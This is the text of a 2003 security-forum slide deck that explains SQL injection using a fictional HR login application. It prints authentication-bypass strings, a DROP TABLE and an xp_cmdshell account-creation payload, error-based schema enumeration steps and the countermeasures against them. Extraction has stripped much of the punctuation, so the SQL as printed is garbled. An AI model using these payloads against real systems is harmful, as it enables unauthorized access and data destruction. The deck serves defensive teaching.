NEbraskaCERT Cyber Security Forum

1
NEbraskaCERTCyber Security Forum
February 19, 2003 SQL Injection

• Stephen M. Nugen, CISSP

2
Meta

• Presenter
• Steve Nugen
• Affiliations CISSP, NEbraskaCERT, NuGenSoft,
  CSM, InfraGard, etc.
• Contact smnugen_at_nugensoft.com 402.505.7691
• Style Talks too fast, mumbles never offended
  if asked to slow down or repeat something
• Purpose
• Create/increase awareness regarding risks of SQL
  Injections techniques used to compromise
  Confidentiality, Integrity, or Availability of
  protected information/assets

3
Meta contd

• Caveats
• SQL Injection exploits weaknesses in
  applications
• Best explored through illustrations
• Mostly MS SQL Server some Oracle
• But, the key take-away of this presentation is
  the concept of SQL Injection, not the syntax
  specific to any single DBMS
• The core vulnerability is in the application, no
  matter which DBMS it uses
• Illustrations/examples in these slides
• Created by the presenter, inspired by multiple
  sources
• Use a mixture of abstract and DBMS-specific
  syntax
• Not coded (and thus, not tested)

4
Meta contd

• Structure
• Introduction
• Illustrations
• General countermeasures
• References
• QA, Discussions
• Approach
• Informal
• Questions, contributions, etc. welcome at any time

5
Introduction

• SQL Injection
• Exploits weaknesses in how applications validate
  user input
• Related to cross-site-scripting, heap/buffer
  overflows, poison cookies, etc.
• Creates or alters existing SQL commands to
• Gain unauthorized access to information
• Alter or delete information
• Gain control of system host
• May be simple or sophisticated
• Will probably become a more common means of
  exploitation as
• Other points of attack hardened by
  security-conscious firms
• SQL Injection techniques incorporated into
  discovery and attack scripts

6
Context

• HR department at ACME Widgets (AW) wants to use a
  custom web application, HSAW, for sharing
  information about benefits and such
• HSAW must be accessible
• Only to authenticated AW employees
• Via AW Intranets and Public Internet
• Designers decide to use Application-based
  authentication
• HSAW administrators from HR department won't
  require OS- or HTTP Server-privileged access

7
HSAW Authentication

• Web server sends form to client browser
  requesting Username and Password... something
  like
• ltFORM METHODPOST ACTIONhttp//hsaw.aw.ex/login
  .extgt
• ltPgtEnter your user name ltINPUT TYPETEXT
  NAMEfname SIZE12 MAXLENGTH8gtlt/Pgt
• ltPgtEnter your password ltINPUT TYPEPASSWORD
  NAMEfpass SIZE12 MAXLENGTH8gtlt/Pgt
• ltPgtltINPUT TYPESUBMIT VALUELogingtlt/Pgt
• lt/FORMgt

8
HSAW Authentication cont'd

• Client browser uses the form to prompt user for
• Their username
• Their secret password ()
• Client browser sends username and password to
  server

9
Problem-1

• Username and password sent as plain text, easily
  sniffed (via GET or POST)
• Compromise-A User with sniffer able to
  impersonate other users
• Gain privileges not otherwise granted
• Post answers like, Why are you worried about
  dental insurance when you should be worried about
  the looming layoffs?

10
Problem-1 contd

• Compromise-B User with sniffer learns passwords
  used for HSAW and other purposes
• Users naturally tend to use the same (or related)
  passwords for multiple purposes
• User with sniffer learns password CFO uses for
  HSAW and for his email...
• From CFO
• To All Employees
• Subject News Reports
• Message CNN reports that we are being
  investigated for fraudulent accounting are
  exaggerated. We will defend ourselves against
  these allegations using every resource at our
  disposal, including the pension fund. Your
  executive team will be crafting our defense
  strategy, from Tahiti.

11
Problem-1 cont'd

• University of Oslo, 2002
• Sniffer used to capture a few passwords... one or
  more which were also used for Domain
  Administrator account
• Password hashes extracted, cracked off-line
• Students tend to use the same passwords for work
  and school, so able to access employers
  computers... and so forth
• NIPC email says activity led to 52,000
  compromised passwords
• Risk of password disclosure isnt always limited
  to the single application

12
DB-Based Authentication

• When HSAW application receives the users
  authentication credentials, it checks them
  against values store in SQL DB
• DB includes the table UserInfo with fields
• Username
• Password
• FullName
• PrivMask

13
DB-Based Authentication cont'd

• Server-side authentication is something like
• u_name web-form(fname)
• u_pass web-form(fpass)
• SELECT FROM UserInfo
• WHERE Username'u_name'
• AND Password'u_pass'
• IF data returned THEN
• Allow access, maybe set authentication token in
  session cookie, etc.
• ELSE
• Log the failed login, tell user to try again

14
Problem-2

• Attacker might be able to cause a partial or
  total DoS using very long strings for fname and
  fpass
• Client-side specifications on maxlength easy to
  circumvent
• Attacker modifies source
• Attacker crafts POST response directly
• Attacker uses own proxy server like Achilles to
  change content in-transit, between the browser
  and server

15
Problem-3

• Attacker gains unauthorized access using active
  content where none expected
• Expected (Assumed) Clients, via server-provided
  form, supply expected types of data

16
Problem-3 cont'd

• Expected-1
• Client enters
• fname mmarsh
• fpass gobigred
• Resulting DB query
• SELECT FROM UserInfo
• WHERE Username'mmarsh'
• AND Password'gobigred'
• DB query returns no matching rows, so user is not
  authenticated

17
Problem-3 cont'd

• Expected-2
• Client enters
• fname mmarsh
• fpass linux4me
• Resulting DB query
• SELECT FROM UserInfo
• WHERE Username'mmarsh'
• AND Password'linux4me'
• DB query returns data, so user considered
  authenticated

18
Problem-3 cont'd

• Unexpected-1
• Client enters
• fname mmarsh
• fpass win4me OR 11
• Resulting DB query
• SELECT FROM UserInfo
• WHERE Username'mmarsh'
• AND Password'win4me OR 11'
• DB query returns zero matching rows, so user not
  authenticated

19
Problem-3 cont'd

• Unexpected-2
• Client enters
• fname mmarsh
• fpass win4me' OR 11
• Resulting DB query SELECT FROM UserInfoWHERE
  Username'mmarsh'AND Password'win4me' OR 11'
• DB query fails with syntax error
• Server-side trailing quote mark unpaired, so
  causes error
• Error message may be useful for future
  exploitation, but no direct compromise

20
Problem-3 cont'd

• Unexpected-3
• Client enters
• fname mmarsh
• fpass win4me' OR '11
• Resulting DB query SELECT FROM UserInfoWHERE
  Username'mmarsh'AND Password'win4me' OR '11'
• DB query succeeds
• User mmarsh is authenticated with invalid
  password
• So, impersonating mmarsh requires just knowing
  his username... oftentimes not a secret... mmarsh
  can't defend his account/good-name using strong
  password

21
Problem-3 cont'd

• Unexpected-4
• Client enters
• fname mmarsh'--
• fpass nomatter
• Resulting DB query SELECT FROM UserInfoWHERE
  Username'mmarsh'--AND Password'nomatter'
• DB query
• Syntax OK... essentially SELECT FROM
  UserInfoWHERE Username'mmarsh'
• User identifying themselves as mmarsh
  authenticated without needing to know/remember
  the password for mmarsh

22
Problem-3 cont'd

• Unexpected-5
• Client enters
• fname biteme' OR TRUE--
• fpass nomatter
• Resulting DB query SELECT FROM UserInfoWHERE
  Username'biteme' OR TRUE--AND
  Password'nomatter'
• DB query succeeds, returning the first row
• User biteme is authenticated using the
  credentials included in the first row...
  oftentimes administrator credentials
• Attacker doesn't even need to know a valid
  username

23
Problem-3 cont'd

• Note SQL-Injection exploits can be invoked via
  scripts, sending the GET/POST message created by
  the form directly to the site
• Report from from 2002-09, simple DoS attack aimed
  at PHP-Nuke
• Attacker sends requests like http//www.nukesite.c
  om/modules.php?nameNewsfilearticlesid123420
  or 2011
• Presumably causing a SQL query likeREQUEST
  FROM NEWS WHERE sid'1234' or '11'
• Resulting in high-stress load on server, making
  it inaccessible

24
Problem-4

• Attacker concatenates SQL commands for hostile
  side effects
• Unexpected-1
• Client enters
• fname biteme
• fpass nomatter'DROP TABLE UserInfo--
• Resulting DB query SELECT FROM UserInfoWHERE
  Username'biteme'AND Password'nomatter'DROP
  TABLE UserInfo--'

25
Problem-4 contd

• Unexpected-1 cont'd
• Resulting DB query SELECT FROM UserInfoWHERE
  Username'biteme'AND Password'nomatter'DROP
  TABLE UserInfo--'
• DB query
• Syntax OK (for MS SQL Server)
• No matching rows for invalid Username/Password
  combination... so no authentication
• User not authenticated, but appended SQL
  statement is executed, resulting in DoS
• Depends on what DB privileges associated with
  application (not the user)

26
Problem-4 contd

• Unexpected-2
• Client enters
• fname biteme
• fpass nomatter'exec master..xp_cmdshell 'net
  user hackme hackme /ADD'--
• Resulting DB query SELECT FROM UserInfoWHERE
  Username'biteme'AND Password'nomatter'exec
  master..xp_cmdshell 'net user hackme hackme
  /ADD'--'
• Authentication fails, but the side-effect action
  creates new system account for further
  exploitation... next login attempt might add
  hackme account to Administrator's group

27
Problem-4 contd

• Unexpected-2 cont'd
• Variations include extracting stored hashes,
  parsing the registry, starting and terminating
  processes/services, using TFTP to install netcat,
  etc.
• Scope of exploit depends on which extended stored
  procedures are installed, privileges associated
  with DB server, etc.

28
Problem-5

• DB Server error messages can be used by attacker
  to discover application's DB structure
• That structure information can be used to modify
  the application data without the (auditing)
  overhead of using the application itself
• Illustrated by example
• Harder
• But, works with stored procedures
• May be stealthier

29
Problem-5 cont'd

• Assume table UserInfo with data like
• Illustration 5-1
• Step-0 Determine HSAW application login
  vulnerable to SQL Injection

Username
Password
Fullname
PrivMask
30
Problem-5 cont'd

• Illustration 5-1 cont'd
• Step-1
• Client supplies
• fname biteme' HAVING 11--
• fpass doesn't matter
• Resulting DB query SELECT FROM UserInfoWHERE
  Username'biteme' HAVING 11-- rest ignored
• Generates an error message like
• Column 'UserInfo.Username' is invalid in the
  select list because it is not contained in an
  aggregate function and there is no GROUP BY
  clause
• ... Revealing name of table and first column

31
Problem-5 cont'd

• Illustration 5-1 cont'd
• Step-2
• Client supplies
• fname biteme' GROUP BY UserInfo.Username
  HAVING 11--
• Causing error message like
• Column 'UserInfo.Password is invalid in the
  select list because it is not contained in an
  aggregate function and there is no GROUP BY
  clause
• ... Revealing name of second column
• Step-3 thru Step-4
• Same approach to learn names of third and fourth
  fields

32
Problem-5 cont'd

• Illustration 5-1 cont'd
• Step-5 Determine data type of Username field
• Client supplies
• fname biteme' UNION SELECT SUM(Username) FROM
  UserInfo
• Causing error message like
• The sum or average aggregate operation cannot
  take a varchar data type as an argument
• ... Revealing data type of Username
• Step-6 thru Step-7
• Same approach to learn data type of Password and
  Fullname fields

33
Problem-5 cont'd

• Illustration 5-1 cont'd
• Step-8 Determine data type of PrivMask field
• Client supplies
• fname biteme' UNION SELECT SUM(PrivMask) FROM
  UserInfo
• Causing error message like
• All queries in an SQL statement containing a
  UNION operator must have an equal number of
  expressions in their target lists
• ... Implicitly revealing data type of PrivMask

34
Problem-5 cont'd

• Illustration 5-1 cont'd
• Step-9 Use what's been learned to add a new
  user to the application's authentication DB table
• Client supplies
• fname biteme'INSERT INTO UserInfo VALUES
  ('dbadmin','e_at_Ky?r','HSAW DB Admin',0xffff)
• Result is unauthorized modification to
  Application's authentication information

35
Problem-5 cont'd

• Illustration 5-2
• Steps 1- 8 Same as illustration 5-1
• Step 9 Use UNION operator to iterate through
  Authentication DB
• Client supplies
• fname biteme' UNION SELECT MIN(Username),1,1,1
  FROM UserInfoWHERE Usernamegt'a'--
• Causing error message like
• Syntax error converting the varchar value
  'admin' to a column of data type int
• ... Revealing that in the first row, the value
  of Username is 'admin'

36
Problem-5 cont'd

• Illustration 5-2 cont'd
• Step 10 Continue to iterate through
  Authentication DB
• Client supplies
• fname biteme' UNION SELECT MIN(Username),1,1,1
  FROM UserInfoWHERE Usernamegt'admin'--
• Causing error message like
• Syntax error converting the varchar value
  'mmarsh' to a column of data type int
• ... Revealing that in the second row, the value
  of Username is 'mmarsh'
• And, so forth

37
Problem-5 cont'd

• Variations include using built-ins (procedures,
  functions, variables) to return the results of
  query when application doesn't pass along error
  messages and/or multiple record sets
• Package output into email message and send
• Package output into file on shared file system
• Package output into temporary DB, accessible by
  attacker
• And, so forth
• Variations include adding own stored procedures,
  etc.

38
General Countermeasures

• Sanitize user input
• Server-side, never client-side
• Language-dependent libraries available
• For instance,replace single quotes with double
  quotes
• This
• SELECT FROM UserInfo
• WHERE Username'mmarsh'
• AND Password'win4me' OR '11'
• Becomes
• SELECT FROM UserInfo
• WHERE Username'mmarsh'
• AND Password'win4me'' OR ''11'
• Generating a syntax error rather than false
  authentication
• Causes problems with usernames like o'brien

39
General Countermeasures cont'd

• Audit own applications from hacker mindset
• Pay special attention to any operations that
  build SQL query string through concatenation
• Neuter embedded content... encoding or encryption
  (server-side)
• Remove DB server components not strictly required
• Similiar to removing unnecessary services
• Use stored procedures and strong binding rather
  than dynamic SQL
• But, other exploits still possible

40
General Countermeasures cont'd

• Do not permit error messages from DB server to
  reach user
• If re-direct, watch out for params passed in URL
• Run application and DB server using least
  privileges
• Limits scope of exploit
• Apply relevant vendor patches
• See DBMS-specific checklists, etc.

41
Resources

• Books
• Hacking Exposed Web Applications
• Scambray and Shema, 2002
• Hack Proofing Your Network, second edition
• Russell and others, 2002
• Online
• Open Web Application Security Project
• www.osasp.org
• Broad source
• SQL Injection
• WebGoat

42
Resources cont'd

• Online cont'd
• Next Generation Security Software, Ltd
• No connection to NuGenSoft
• http//www.ngssoftware.com
• Lots of white papers covering multiple DBMS
• SQLSecurity.com
• http//sqlsecurity.com
• Focus on MS SQL Server
• SQL Injection FAQ
• Free tools
• Links

43
Resources cont'd

• Online cont'd
• Application Security, Inc
• www.appsecinc.com
• White papers
• SPI Dynamics
• www.spidynamics.com
• White papers
• SecuriTeam.com
• www.securiteam.com
• SQL Injection Walkthrough

44
Resources cont'd

• Online cont'd
• Security Focus
• Good white papers on "SQL Injection and Oracle"
• Part-1 http//online.securityfocus.com/infofocus
  .1644
• Part-2 http//online.securityfocus.com/infofocus
  .1646
• Microsoft
• MS SQL Security
• http//www.microsoft.com/technet/treeview/default
  .asp?url/technet/security/prodtech/dbsql/default.
  asp
• White paper Forms-based authentication used for
  OpenHack
• http//msdn.microsoft.com/library/default.asp?url
  /library/en-us/dnnetsec/html/openhack.asp

45
Resources cont'd

• Online cont'd
• PenTest Limited
• www.pentest-limited.com
• Focus on Oracle
• Multiple white papers

46
QuestionsCommentsContributions